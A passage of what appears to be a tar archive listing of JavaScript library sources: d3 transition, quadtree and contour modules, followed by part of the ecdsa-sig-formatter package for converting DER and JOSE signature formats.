children[k]) { schedule(child, name, id, k, children, inherit); } } subgroups.push(children); parents.push(node); } } } return new Transition(subgroups, parents, name, id); } transition/on.js000064400000001565151677352420007733 0ustar00import {get, set, init} from "./schedule"; function start(name) { return (name + "").trim().split(/^|\s+/).every(function(t) { var i = t.indexOf("."); if (i >= 0) t = t.slice(0, i); return !t || t === "start"; }); } function onFunction(id, name, listener) { var on0, on1, sit = start(name) ? init : set; return function() { var schedule = sit(this, id), on = schedule.on; // If this node shared a dispatch with the previous node, // just assign the updated shared dispatch and we’re done! // Otherwise, copy-on-write. if (on !== on0) (on1 = (on0 = on).copy()).on(name, listener); schedule.on = on1; }; } export default function(name, listener) { var id = this._id; return arguments.length < 2 ? get(this.node(), id).on.on(name) : this.each(onFunction(id, name, listener)); } transition/delay.js000064400000001025151677352420010404 0ustar00import {get, init} from "./schedule"; function delayFunction(id, value) { return function() { init(this, id).delay = +value.apply(this, arguments); }; } function delayConstant(id, value) { return value = +value, function() { init(this, id).delay = value; }; } export default function(value) { var id = this._id; return arguments.length ? this.each((typeof value === "function" ? delayFunction : delayConstant)(id, value)) : get(this.node(), id).delay; } transition/merge.js000064400000001240151677352420010404 0ustar00import {Transition} from "./index"; export default function(transition) { if (transition._id !== this._id) throw new Error; for (var groups0 = this._groups, groups1 = transition._groups, m0 = groups0.length, m1 = groups1.length, m = Math.min(m0, m1), merges = new Array(m0), j = 0; j < m; ++j) { for (var group0 = groups0[j], group1 = groups1[j], n = group0.length, merge = merges[j] = new Array(n), node, i = 0; i < n; ++i) { if (node = group0[i] || group1[i]) { merge[i] = node; } } } for (; j < m0; ++j) { merges[j] = groups0[j]; } return new Transition(merges, this._parents, this._name, this._id); } transition/style.js000064400000003664151677352420010461 0ustar00import {interpolateTransformCss as interpolateTransform} from "d3-interpolate"; import {style} from "d3-selection"; import {tweenValue} from "./tween"; import interpolate from "./interpolate"; function styleRemove(name, interpolate) { var value00, value10, interpolate0; return function() { var value0 = style(this, name), value1 = (this.style.removeProperty(name), style(this, name)); return value0 === value1 ? null : value0 === value00 && value1 === value10 ? interpolate0 : interpolate0 = interpolate(value00 = value0, value10 = value1); }; } function styleRemoveEnd(name) { return function() { this.style.removeProperty(name); }; } function styleConstant(name, interpolate, value1) { var value00, interpolate0; return function() { var value0 = style(this, name); return value0 === value1 ? null : value0 === value00 ? interpolate0 : interpolate0 = interpolate(value00 = value0, value1); }; } function styleFunction(name, interpolate, value) { var value00, value10, interpolate0; return function() { var value0 = style(this, name), value1 = value(this); if (value1 == null) value1 = (this.style.removeProperty(name), style(this, name)); return value0 === value1 ? null : value0 === value00 && value1 === value10 ? interpolate0 : interpolate0 = interpolate(value00 = value0, value10 = value1); }; } export default function(name, value, priority) { var i = (name += "") === "transform" ? interpolateTransform : interpolate; return value == null ? this .styleTween(name, styleRemove(name, i)) .on("end.style." + name, styleRemoveEnd(name)) : this.styleTween(name, typeof value === "function" ? styleFunction(name, i, tweenValue(this, "style." + name, value)) : styleConstant(name, i, value + ""), priority); } transition/interpolate.js000064400000000536151677352420011642 0ustar00import {color} from "d3-color"; import {interpolateNumber, interpolateRgb, interpolateString} from "d3-interpolate"; export default function(a, b) { var c; return (typeof b === "number" ? interpolateNumber : b instanceof color ? interpolateRgb : (c = color(b)) ? (b = c, interpolateRgb) : interpolateString)(a, b); } transition/duration.js000064400000001047151677352420011137 0ustar00import {get, set} from "./schedule"; function durationFunction(id, value) { return function() { set(this, id).duration = +value.apply(this, arguments); }; } function durationConstant(id, value) { return value = +value, function() { set(this, id).duration = value; }; } export default function(value) { var id = this._id; return arguments.length ? this.each((typeof value === "function" ? durationFunction : durationConstant)(id, value)) : get(this.node(), id).duration; } transition/selection.js000064400000000265151677352420011300 0ustar00import {selection} from "d3-selection"; var Selection = selection.prototype.constructor; export default function() { return new Selection(this._groups, this._parents); } transition/tween.js000064400000004073151677352420010436 0ustar00import {get, set} from "./schedule"; function tweenRemove(id, name) { var tween0, tween1; return function() { var schedule = set(this, id), tween = schedule.tween; // If this node shared tween with the previous node, // just assign the updated shared tween and we’re done! // Otherwise, copy-on-write. if (tween !== tween0) { tween1 = tween0 = tween; for (var i = 0, n = tween1.length; i < n; ++i) { if (tween1[i].name === name) { tween1 = tween1.slice(); tween1.splice(i, 1); break; } } } schedule.tween = tween1; }; } function tweenFunction(id, name, value) { var tween0, tween1; if (typeof value !== "function") throw new Error; return function() { var schedule = set(this, id), tween = schedule.tween; // If this node shared tween with the previous node, // just assign the updated shared tween and we’re done! // Otherwise, copy-on-write. if (tween !== tween0) { tween1 = (tween0 = tween).slice(); for (var t = {name: name, value: value}, i = 0, n = tween1.length; i < n; ++i) { if (tween1[i].name === name) { tween1[i] = t; break; } } if (i === n) tween1.push(t); } schedule.tween = tween1; }; } export default function(name, value) { var id = this._id; name += ""; if (arguments.length < 2) { var tween = get(this.node(), id).tween; for (var i = 0, n = tween.length, t; i < n; ++i) { if ((t = tween[i]).name === name) { return t.value; } } return null; } return this.each((value == null ? tweenRemove : tweenFunction)(id, name, value)); } export function tweenValue(transition, name, value) { var id = transition._id; transition.each(function() { var schedule = set(this, id); (schedule.value || (schedule.value = {}))[name] = value.apply(this, arguments); }); return function(node) { return get(node, id).value[name]; }; } transition/styleTween.js000064400000001161151677352420011452 0ustar00function styleTween(name, value, priority) { function tween() { var node = this, i = value.apply(node, arguments); return i && function(t) { node.style.setProperty(name, i(t), priority); }; } tween._value = value; return tween; } export default function(name, value, priority) { var key = "style." + (name += ""); if (arguments.length < 2) return (key = this.tween(key)) && key._value; if (value == null) return this.tween(key, null); if (typeof value !== "function") throw new Error; return this.tween(key, styleTween(name, value, priority == null ? "" : priority)); } interrupt.js000064400000001261151677352420007152 0ustar00import {STARTING, ENDING, ENDED} from "./transition/schedule"; export default function(node, name) { var schedules = node.__transition, schedule, active, empty = true, i; if (!schedules) return; name = name == null ? null : name + ""; for (i in schedules) { if ((schedule = schedules[i]).name !== name) { empty = false; continue; } active = schedule.state > STARTING && schedule.state < ENDING; schedule.state = ENDED; schedule.timer.stop(); if (active) schedule.on.call("interrupt", node, node.__data__, schedule.index, schedule.group); delete schedules[i]; } if (empty) delete node.__transition; } selection/transition.js000064400000002154151677352420011277 0ustar00import {Transition, newId} from "../transition/index"; import schedule from "../transition/schedule"; import {easeCubicInOut} from "d3-ease"; import {now} from "d3-timer"; var defaultTiming = { time: null, // Set on use. delay: 0, duration: 250, ease: easeCubicInOut }; function inherit(node, id) { var timing; while (!(timing = node.__transition) || !(timing = timing[id])) { if (!(node = node.parentNode)) { return defaultTiming.time = now(), defaultTiming; } } return timing; } export default function(name) { var id, timing; if (name instanceof Transition) { id = name._id, name = name._name; } else { id = newId(), (timing = defaultTiming).time = now(), name = name == null ? null : name + ""; } for (var groups = this._groups, m = groups.length, j = 0; j < m; ++j) { for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) { if (node = group[i]) { schedule(node, name, id, i, group, timing || inherit(node, id)); } } } return new Transition(groups, this._parents, name, id); } selection/index.js000064400000000373151677352420010215 0ustar00import {selection} from "d3-selection"; import selection_interrupt from "./interrupt"; import selection_transition from "./transition"; selection.prototype.interrupt = selection_interrupt; selection.prototype.transition = selection_transition; selection/interrupt.js000064400000000221151677352420011132 0ustar00import interrupt from "../interrupt"; export default function(name) { return this.each(function() { interrupt(this, name); }); } y.js000064400000000221151677355330005364 0ustar00export function defaultY(d) { return d[1]; } export default function(_) { return arguments.length ? (this._y = _, this) : this._y; } add.js000064400000004736151677355330005663 0ustar00export default function(d) { var x = +this._x.call(null, d), y = +this._y.call(null, d); return add(this.cover(x, y), x, y, d); } function add(tree, x, y, d) { if (isNaN(x) || isNaN(y)) return tree; // ignore invalid points var parent, node = tree._root, leaf = {data: d}, x0 = tree._x0, y0 = tree._y0, x1 = tree._x1, y1 = tree._y1, xm, ym, xp, yp, right, bottom, i, j; // If the tree is empty, initialize the root as a leaf. if (!node) return tree._root = leaf, tree; // Find the existing leaf for the new point, or add it. while (node.length) { if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; if (parent = node, !(node = node[i = bottom << 1 | right])) return parent[i] = leaf, tree; } // Is the new point is exactly coincident with the existing point? xp = +tree._x.call(null, node.data); yp = +tree._y.call(null, node.data); if (x === xp && y === yp) return leaf.next = node, parent ? parent[i] = leaf : tree._root = leaf, tree; // Otherwise, split the leaf node until the old and new point are separated. do { parent = parent ? parent[i] = new Array(4) : tree._root = new Array(4); if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; } while ((i = bottom << 1 | right) === (j = (yp >= ym) << 1 | (xp >= xm))); return parent[j] = node, parent[i] = leaf, tree; } export function addAll(data) { var d, i, n = data.length, x, y, xz = new Array(n), yz = new Array(n), x0 = Infinity, y0 = Infinity, x1 = -Infinity, y1 = -Infinity; // Compute the points and their extent. for (i = 0; i < n; ++i) { if (isNaN(x = +this._x.call(null, d = data[i])) || isNaN(y = +this._y.call(null, d))) continue; xz[i] = x; yz[i] = y; if (x < x0) x0 = x; if (x > x1) x1 = x; if (y < y0) y0 = y; if (y > y1) y1 = y; } // If there were no (valid) points, inherit the existing extent. if (x1 < x0) x0 = this._x0, x1 = this._x1; if (y1 < y0) y0 = this._y0, y1 = this._y1; // Expand the tree to cover the new points. this.cover(x0, y0).cover(x1, y1); // Add the new points. for (i = 0; i < n; ++i) { add(this, xz[i], yz[i], data[i]); } return this; } quadtree.js000064400000004146151677355330006740 0ustar00import tree_add, {addAll as tree_addAll} from "./add"; import tree_cover from "./cover"; import tree_data from "./data"; import tree_extent from "./extent"; import tree_find from "./find"; import tree_remove, {removeAll as tree_removeAll} from "./remove"; import tree_root from "./root"; import tree_size from "./size"; import tree_visit from "./visit"; import tree_visitAfter from "./visitAfter"; import tree_x, {defaultX} from "./x"; import tree_y, {defaultY} from "./y"; export default function quadtree(nodes, x, y) { var tree = new Quadtree(x == null ? defaultX : x, y == null ? defaultY : y, NaN, NaN, NaN, NaN); return nodes == null ? tree : tree.addAll(nodes); } function Quadtree(x, y, x0, y0, x1, y1) { this._x = x; this._y = y; this._x0 = x0; this._y0 = y0; this._x1 = x1; this._y1 = y1; this._root = undefined; } function leaf_copy(leaf) { var copy = {data: leaf.data}, next = copy; while (leaf = leaf.next) next = next.next = {data: leaf.data}; return copy; } var treeProto = quadtree.prototype = Quadtree.prototype; treeProto.copy = function() { var copy = new Quadtree(this._x, this._y, this._x0, this._y0, this._x1, this._y1), node = this._root, nodes, child; if (!node) return copy; if (!node.length) return copy._root = leaf_copy(node), copy; nodes = [{source: node, target: copy._root = new Array(4)}]; while (node = nodes.pop()) { for (var i = 0; i < 4; ++i) { if (child = node.source[i]) { if (child.length) nodes.push({source: child, target: node.target[i] = new Array(4)}); else node.target[i] = leaf_copy(child); } } } return copy; }; treeProto.add = tree_add; treeProto.addAll = tree_addAll; treeProto.cover = tree_cover; treeProto.data = tree_data; treeProto.extent = tree_extent; treeProto.find = tree_find; treeProto.remove = tree_remove; treeProto.removeAll = tree_removeAll; treeProto.root = tree_root; treeProto.size = tree_size; treeProto.visit = tree_visit; treeProto.visitAfter = tree_visitAfter; treeProto.x = tree_x; treeProto.y = tree_y; visitAfter.js000064400000001432151677355330007241 0ustar00import Quad from "./quad"; export default function(callback) { var quads = [], next = [], q; if (this._root) quads.push(new Quad(this._root, this._x0, this._y0, this._x1, this._y1)); while (q = quads.pop()) { var node = q.node; if (node.length) { var child, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1, xm = (x0 + x1) / 2, ym = (y0 + y1) / 2; if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym)); if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym)); if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1)); if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1)); } next.push(q); } while (q = next.pop()) { callback(q.node, q.x0, q.y0, q.x1, q.y1); } return this; } quad.js000064400000000215151677355330006051 0ustar00export default function(node, x0, y0, x1, y1) { this.node = node; this.x0 = x0; this.y0 = y0; this.x1 = x1; this.y1 = y1; } remove.js000064400000003650151677355330006422 0ustar00export default function(d) { if (isNaN(x = +this._x.call(null, d)) || isNaN(y = +this._y.call(null, d))) return this; // ignore invalid points var parent, node = this._root, retainer, previous, next, x0 = this._x0, y0 = this._y0, x1 = this._x1, y1 = this._y1, x, y, xm, ym, right, bottom, i, j; // If the tree is empty, initialize the root as a leaf. if (!node) return this; // Find the leaf node for the point. // While descending, also retain the deepest parent with a non-removed sibling. if (node.length) while (true) { if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; if (!(parent = node, node = node[i = bottom << 1 | right])) return this; if (!node.length) break; if (parent[(i + 1) & 3] || parent[(i + 2) & 3] || parent[(i + 3) & 3]) retainer = parent, j = i; } // Find the point to remove. while (node.data !== d) if (!(previous = node, node = node.next)) return this; if (next = node.next) delete node.next; // If there are multiple coincident points, remove just the point. if (previous) return (next ? previous.next = next : delete previous.next), this; // If this is the root point, remove it. if (!parent) return this._root = next, this; // Remove this leaf. next ? parent[i] = next : delete parent[i]; // If the parent now contains exactly one leaf, collapse superfluous parents. if ((node = parent[0] || parent[1] || parent[2] || parent[3]) && node === (parent[3] || parent[2] || parent[1] || parent[0]) && !node.length) { if (retainer) retainer[j] = node; else this._root = node; } return this; } export function removeAll(data) { for (var i = 0, n = data.length; i < n; ++i) this.remove(data[i]); return this; } root.js000064400000000066151677355330006106 0ustar00export default function() { return this._root; } x.js000064400000000221151677355330005363 0ustar00export function defaultX(d) { return d[0]; } export default function(_) { return arguments.length ? (this._x = _, this) : this._x; } cover.js000064400000003275151677355330006246 0ustar00export default function(x, y) { if (isNaN(x = +x) || isNaN(y = +y)) return this; // ignore invalid points var x0 = this._x0, y0 = this._y0, x1 = this._x1, y1 = this._y1; // If the quadtree has no extent, initialize them. // Integer extent are necessary so that if we later double the extent, // the existing quadrant boundaries don’t change due to floating point error! if (isNaN(x0)) { x1 = (x0 = Math.floor(x)) + 1; y1 = (y0 = Math.floor(y)) + 1; } // Otherwise, double repeatedly to cover. else if (x0 > x || x > x1 || y0 > y || y > y1) { var z = x1 - x0, node = this._root, parent, i; switch (i = (y < (y0 + y1) / 2) << 1 | (x < (x0 + x1) / 2)) { case 0: { do parent = new Array(4), parent[i] = node, node = parent; while (z *= 2, x1 = x0 + z, y1 = y0 + z, x > x1 || y > y1); break; } case 1: { do parent = new Array(4), parent[i] = node, node = parent; while (z *= 2, x0 = x1 - z, y1 = y0 + z, x0 > x || y > y1); break; } case 2: { do parent = new Array(4), parent[i] = node, node = parent; while (z *= 2, x1 = x0 + z, y0 = y1 - z, x > x1 || y0 > y); break; } case 3: { do parent = new Array(4), parent[i] = node, node = parent; while (z *= 2, x0 = x1 - z, y0 = y1 - z, x0 > x || y0 > y); break; } } if (this._root && this._root.length) this._root = node; } // If the quadtree covers the point already, just return. else return this; this._x0 = x0; this._y0 = y0; this._x1 = x1; this._y1 = y1; return this; } find.js000064400000003346151677355330006047 0ustar00import Quad from "./quad"; export default function(x, y, radius) { var data, x0 = this._x0, y0 = this._y0, x1, y1, x2, y2, x3 = this._x1, y3 = this._y1, quads = [], node = this._root, q, i; if (node) quads.push(new Quad(node, x0, y0, x3, y3)); if (radius == null) radius = Infinity; else { x0 = x - radius, y0 = y - radius; x3 = x + radius, y3 = y + radius; radius *= radius; } while (q = quads.pop()) { // Stop searching if this quadrant can’t contain a closer node. if (!(node = q.node) || (x1 = q.x0) > x3 || (y1 = q.y0) > y3 || (x2 = q.x1) < x0 || (y2 = q.y1) < y0) continue; // Bisect the current quadrant. if (node.length) { var xm = (x1 + x2) / 2, ym = (y1 + y2) / 2; quads.push( new Quad(node[3], xm, ym, x2, y2), new Quad(node[2], x1, ym, xm, y2), new Quad(node[1], xm, y1, x2, ym), new Quad(node[0], x1, y1, xm, ym) ); // Visit the closest quadrant first. if (i = (y >= ym) << 1 | (x >= xm)) { q = quads[quads.length - 1]; quads[quads.length - 1] = quads[quads.length - 1 - i]; quads[quads.length - 1 - i] = q; } } // Visit this point. (Visiting coincident points isn’t necessary!) else { var dx = x - +this._x.call(null, node.data), dy = y - +this._y.call(null, node.data), d2 = dx * dx + dy * dy; if (d2 < radius) { var d = Math.sqrt(radius = d2); x0 = x - d, y0 = y - d; x3 = x + d, y3 = y + d; data = node.data; } } } return data; } visit.js000064400000001307151677355330006260 0ustar00import Quad from "./quad"; export default function(callback) { var quads = [], q, node = this._root, child, x0, y0, x1, y1; if (node) quads.push(new Quad(node, this._x0, this._y0, this._x1, this._y1)); while (q = quads.pop()) { if (!callback(node = q.node, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1) && node.length) { var xm = (x0 + x1) / 2, ym = (y0 + y1) / 2; if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1)); if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1)); if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym)); if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym)); } } return this; } density.js000064400000010033151677355410006574 0ustar00import {max, range, tickStep} from "d3-array"; import {slice} from "./array"; import {blurX, blurY} from "./blur"; import constant from "./constant"; import contours from "./contours"; function defaultX(d) { return d[0]; } function defaultY(d) { return d[1]; } function defaultWeight() { return 1; } export default function() { var x = defaultX, y = defaultY, weight = defaultWeight, dx = 960, dy = 500, r = 20, // blur radius k = 2, // log2(grid cell size) o = r * 3, // grid offset, to pad for blur n = (dx + o * 2) >> k, // grid width m = (dy + o * 2) >> k, // grid height threshold = constant(20); function density(data) { var values0 = new Float32Array(n * m), values1 = new Float32Array(n * m); data.forEach(function(d, i, data) { var xi = (+x(d, i, data) + o) >> k, yi = (+y(d, i, data) + o) >> k, wi = +weight(d, i, data); if (xi >= 0 && xi < n && yi >= 0 && yi < m) { values0[xi + yi * n] += wi; } }); // TODO Optimize. blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k); blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k); blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k); blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k); blurX({width: n, height: m, data: values0}, {width: n, height: m, data: values1}, r >> k); blurY({width: n, height: m, data: values1}, {width: n, height: m, data: values0}, r >> k); var tz = threshold(values0); // Convert number of thresholds into uniform thresholds. if (!Array.isArray(tz)) { var stop = max(values0); tz = tickStep(0, stop, tz); tz = range(0, Math.floor(stop / tz) * tz, tz); tz.shift(); } return contours() .thresholds(tz) .size([n, m]) (values0) .map(transform); } function transform(geometry) { geometry.value *= Math.pow(2, -2 * k); // Density in points per square pixel. geometry.coordinates.forEach(transformPolygon); return geometry; } function transformPolygon(coordinates) { coordinates.forEach(transformRing); } function transformRing(coordinates) { coordinates.forEach(transformPoint); } // TODO Optimize. function transformPoint(coordinates) { coordinates[0] = coordinates[0] * Math.pow(2, k) - o; coordinates[1] = coordinates[1] * Math.pow(2, k) - o; } function resize() { o = r * 3; n = (dx + o * 2) >> k; m = (dy + o * 2) >> k; return density; } density.x = function(_) { return arguments.length ? (x = typeof _ === "function" ? _ : constant(+_), density) : x; }; density.y = function(_) { return arguments.length ? (y = typeof _ === "function" ? _ : constant(+_), density) : y; }; density.weight = function(_) { return arguments.length ? (weight = typeof _ === "function" ? _ : constant(+_), density) : weight; }; density.size = function(_) { if (!arguments.length) return [dx, dy]; var _0 = Math.ceil(_[0]), _1 = Math.ceil(_[1]); if (!(_0 >= 0) && !(_0 >= 0)) throw new Error("invalid size"); return dx = _0, dy = _1, resize(); }; density.cellSize = function(_) { if (!arguments.length) return 1 << k; if (!((_ = +_) >= 1)) throw new Error("invalid cell size"); return k = Math.floor(Math.log(_) / Math.LN2), resize(); }; density.thresholds = function(_) { return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), density) : threshold; }; density.bandwidth = function(_) { if (!arguments.length) return Math.sqrt(r * (r + 1)); if (!((_ = +_) >= 0)) throw new Error("invalid bandwidth"); return r = Math.round((Math.sqrt(4 * _ * _ + 1) - 1) / 2), resize(); }; return density; } area.js000064400000000353151677355410006031 0ustar00export default function(ring) { var i = 0, n = ring.length, area = ring[n - 1][1] * ring[0][0] - ring[n - 1][0] * ring[0][1]; while (++i < n) area += ring[i - 1][1] * ring[i][0] - ring[i - 1][0] * ring[i][1]; return area; } blur.js000064400000002162151677355410006065 0ustar00// TODO Optimize edge cases. // TODO Optimize index calculation. // TODO Optimize arguments. export function blurX(source, target, r) { var n = source.width, m = source.height, w = (r << 1) + 1; for (var j = 0; j < m; ++j) { for (var i = 0, sr = 0; i < n + r; ++i) { if (i < n) { sr += source.data[i + j * n]; } if (i >= r) { if (i >= w) { sr -= source.data[i - w + j * n]; } target.data[i - r + j * n] = sr / Math.min(i + 1, n - 1 + w - i, w); } } } } // TODO Optimize edge cases. // TODO Optimize index calculation. // TODO Optimize arguments. export function blurY(source, target, r) { var n = source.width, m = source.height, w = (r << 1) + 1; for (var i = 0; i < n; ++i) { for (var j = 0, sr = 0; j < m + r; ++j) { if (j < m) { sr += source.data[i + j * n]; } if (j >= r) { if (j >= w) { sr -= source.data[i + (j - w) * n]; } target.data[i + (j - r) * n] = sr / Math.min(j + 1, m - 1 + w - j, w); } } } } noop.js000064400000000036151677355410006072 0ustar00export default function() {} contains.js000064400000001602151677355410006735 0ustar00export default function(ring, hole) { var i = -1, n = hole.length, c; while (++i < n) if (c = ringContains(ring, hole[i])) return c; return 0; } function ringContains(ring, point) { var x = point[0], y = point[1], contains = -1; for (var i = 0, n = ring.length, j = n - 1; i < n; j = i++) { var pi = ring[i], xi = pi[0], yi = pi[1], pj = ring[j], xj = pj[0], yj = pj[1]; if (segmentContains(pi, pj, point)) return 0; if (((yi > y) !== (yj > y)) && ((x < (xj - xi) * (y - yi) / (yj - yi) + xi))) contains = -contains; } return contains; } function segmentContains(a, b, c) { var i; return collinear(a, b, c) && within(a[i = +(a[0] === b[0])], c[i], b[i]); } function collinear(a, b, c) { return (b[0] - a[0]) * (c[1] - a[1]) === (c[0] - a[0]) * (b[1] - a[1]); } function within(p, q, r) { return p <= q && q <= r || r <= q && q <= p; } contours.js000064400000014433151677355410007001 0ustar00import {extent, thresholdSturges, tickStep, range} from "d3-array"; import {slice} from "./array"; import ascending from "./ascending"; import area from "./area"; import constant from "./constant"; import contains from "./contains"; import noop from "./noop"; var cases = [ [], [[[1.0, 1.5], [0.5, 1.0]]], [[[1.5, 1.0], [1.0, 1.5]]], [[[1.5, 1.0], [0.5, 1.0]]], [[[1.0, 0.5], [1.5, 1.0]]], [[[1.0, 1.5], [0.5, 1.0]], [[1.0, 0.5], [1.5, 1.0]]], [[[1.0, 0.5], [1.0, 1.5]]], [[[1.0, 0.5], [0.5, 1.0]]], [[[0.5, 1.0], [1.0, 0.5]]], [[[1.0, 1.5], [1.0, 0.5]]], [[[0.5, 1.0], [1.0, 0.5]], [[1.5, 1.0], [1.0, 1.5]]], [[[1.5, 1.0], [1.0, 0.5]]], [[[0.5, 1.0], [1.5, 1.0]]], [[[1.0, 1.5], [1.5, 1.0]]], [[[0.5, 1.0], [1.0, 1.5]]], [] ]; export default function() { var dx = 1, dy = 1, threshold = thresholdSturges, smooth = smoothLinear; function contours(values) { var tz = threshold(values); // Convert number of thresholds into uniform thresholds. if (!Array.isArray(tz)) { var domain = extent(values), start = domain[0], stop = domain[1]; tz = tickStep(start, stop, tz); tz = range(Math.floor(start / tz) * tz, Math.floor(stop / tz) * tz, tz); } else { tz = tz.slice().sort(ascending); } return tz.map(function(value) { return contour(values, value); }); } // Accumulate, smooth contour rings, assign holes to exterior rings. // Based on https://github.com/mbostock/shapefile/blob/v0.6.2/shp/polygon.js function contour(values, value) { var polygons = [], holes = []; isorings(values, value, function(ring) { smooth(ring, values, value); if (area(ring) > 0) polygons.push([ring]); else holes.push(ring); }); holes.forEach(function(hole) { for (var i = 0, n = polygons.length, polygon; i < n; ++i) { if (contains((polygon = polygons[i])[0], hole) !== -1) { polygon.push(hole); return; } } }); return { type: "MultiPolygon", value: value, coordinates: polygons }; } // Marching squares with isolines stitched into rings. // Based on https://github.com/topojson/topojson-client/blob/v3.0.0/src/stitch.js function isorings(values, value, callback) { var fragmentByStart = new Array, fragmentByEnd = new Array, x, y, t0, t1, t2, t3; // Special case for the first row (y = -1, t2 = t3 = 0). x = y = -1; t1 = values[0] >= value; cases[t1 << 1].forEach(stitch); while (++x < dx - 1) { t0 = t1, t1 = values[x + 1] >= value; cases[t0 | t1 << 1].forEach(stitch); } cases[t1 << 0].forEach(stitch); // General case for the intermediate rows. while (++y < dy - 1) { x = -1; t1 = values[y * dx + dx] >= value; t2 = values[y * dx] >= value; cases[t1 << 1 | t2 << 2].forEach(stitch); while (++x < dx - 1) { t0 = t1, t1 = values[y * dx + dx + x + 1] >= value; t3 = t2, t2 = values[y * dx + x + 1] >= value; cases[t0 | t1 << 1 | t2 << 2 | t3 << 3].forEach(stitch); } cases[t1 | t2 << 3].forEach(stitch); } // Special case for the last row (y = dy - 1, t0 = t1 = 0). x = -1; t2 = values[y * dx] >= value; cases[t2 << 2].forEach(stitch); while (++x < dx - 1) { t3 = t2, t2 = values[y * dx + x + 1] >= value; cases[t2 << 2 | t3 << 3].forEach(stitch); } cases[t2 << 3].forEach(stitch); function stitch(line) { var start = [line[0][0] + x, line[0][1] + y], end = [line[1][0] + x, line[1][1] + y], startIndex = index(start), endIndex = index(end), f, g; if (f = fragmentByEnd[startIndex]) { if (g = fragmentByStart[endIndex]) { delete fragmentByEnd[f.end]; delete fragmentByStart[g.start]; if (f === g) { f.ring.push(end); callback(f.ring); } else { fragmentByStart[f.start] = fragmentByEnd[g.end] = {start: f.start, end: g.end, ring: f.ring.concat(g.ring)}; } } else { delete fragmentByEnd[f.end]; f.ring.push(end); fragmentByEnd[f.end = endIndex] = f; } } else if (f = fragmentByStart[endIndex]) { if (g = fragmentByEnd[startIndex]) { delete fragmentByStart[f.start]; delete fragmentByEnd[g.end]; if (f === g) { f.ring.push(end); callback(f.ring); } else { fragmentByStart[g.start] = fragmentByEnd[f.end] = {start: g.start, end: f.end, ring: g.ring.concat(f.ring)}; } } else { delete fragmentByStart[f.start]; f.ring.unshift(start); fragmentByStart[f.start = startIndex] = f; } } else { fragmentByStart[startIndex] = fragmentByEnd[endIndex] = {start: startIndex, end: endIndex, ring: [start, end]}; } } } function index(point) { return point[0] * 2 + point[1] * (dx + 1) * 4; } function smoothLinear(ring, values, value) { ring.forEach(function(point) { var x = point[0], y = point[1], xt = x | 0, yt = y | 0, v0, v1 = values[yt * dx + xt]; if (x > 0 && x < dx && xt === x) { v0 = values[yt * dx + xt - 1]; point[0] = x + (value - v0) / (v1 - v0) - 0.5; } if (y > 0 && y < dy && yt === y) { v0 = values[(yt - 1) * dx + xt]; point[1] = y + (value - v0) / (v1 - v0) - 0.5; } }); } contours.contour = contour; contours.size = function(_) { if (!arguments.length) return [dx, dy]; var _0 = Math.ceil(_[0]), _1 = Math.ceil(_[1]); if (!(_0 > 0) || !(_1 > 0)) throw new Error("invalid size"); return dx = _0, dy = _1, contours; }; contours.thresholds = function(_) { return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), contours) : threshold; }; contours.smooth = function(_) { return arguments.length ? (smooth = _ ? smoothLinear : noop, contours) : smooth === smoothLinear; }; return contours; } ecdsa-sig-formatter.d.ts000064400000001266151677355530011224 0ustar00/// <reference types="node" /> declare module "ecdsa-sig-formatter" { /** * Convert the ASN.1/DER encoded signature to a JOSE-style concatenated signature. Returns a base64 url encoded String. * If signature is a String, it should be base64 encoded * alg must be one of ES256, ES384 or ES512 */ export function derToJose(signature: Buffer | string, alg: string): string; /** * Convert the JOSE-style concatenated signature to an ASN.1/DER encoded signature. Returns a Buffer * If signature is a String, it should be base64 url encoded * alg must be one of ES256, ES384 or ES512 */ export function joseToDer(signature: Buffer | string, alg: string): Buffer } ecdsa-sig-formatter.js000064400000011621151677355530010764 0ustar00'use strict'; var Buffer = require('safe-buffer').Buffer; var getParamBytesForAlg = require('./param-bytes-for-alg'); var MAX_OCTET = 0x80, CLASS_UNIVERSAL = 0, PRIMITIVE_BIT = 0x20, TAG_SEQ = 0x10, TAG_INT = 0x02, ENCODED_TAG_SEQ = (TAG_SEQ | PRIMITIVE_BIT) | (CLASS_UNIVERSAL << 6), ENCODED_TAG_INT = TAG_INT | (CLASS_UNIVERSAL << 6); function base64Url(base64) { return base64 .replace(/=/g, '') .replace(/\+/g, '-') .replace(/\//g, '_'); } function signatureAsBuffer(signature) { if (Buffer.isBuffer(signature)) { return signature; } else if ('string' === typeof signature) { return Buffer.from(signature, 'base64'); } throw new TypeError('ECDSA signature must be a Base64 string or a Buffer'); } function derToJose(signature, alg) { signature = signatureAsBuffer(signature); var paramBytes = getParamBytesForAlg(alg); // the DER encoded param should at most be the param size, plus a padding // zero, since due to being a signed integer var maxEncodedParamLength = paramBytes + 1; var inputLength = signature.length; var offset = 0; if (signature[offset++] !== ENCODED_TAG_SEQ) { throw new Error('Could not find expected "seq"'); } var seqLength = signature[offset++]; if (seqLength === (MAX_OCTET | 1)) { seqLength = signature[offset++]; } if (inputLength - offset < seqLength) { throw new Error('"seq" specified length of "' + seqLength + '", only "' + (inputLength - offset) + '" remaining'); } if 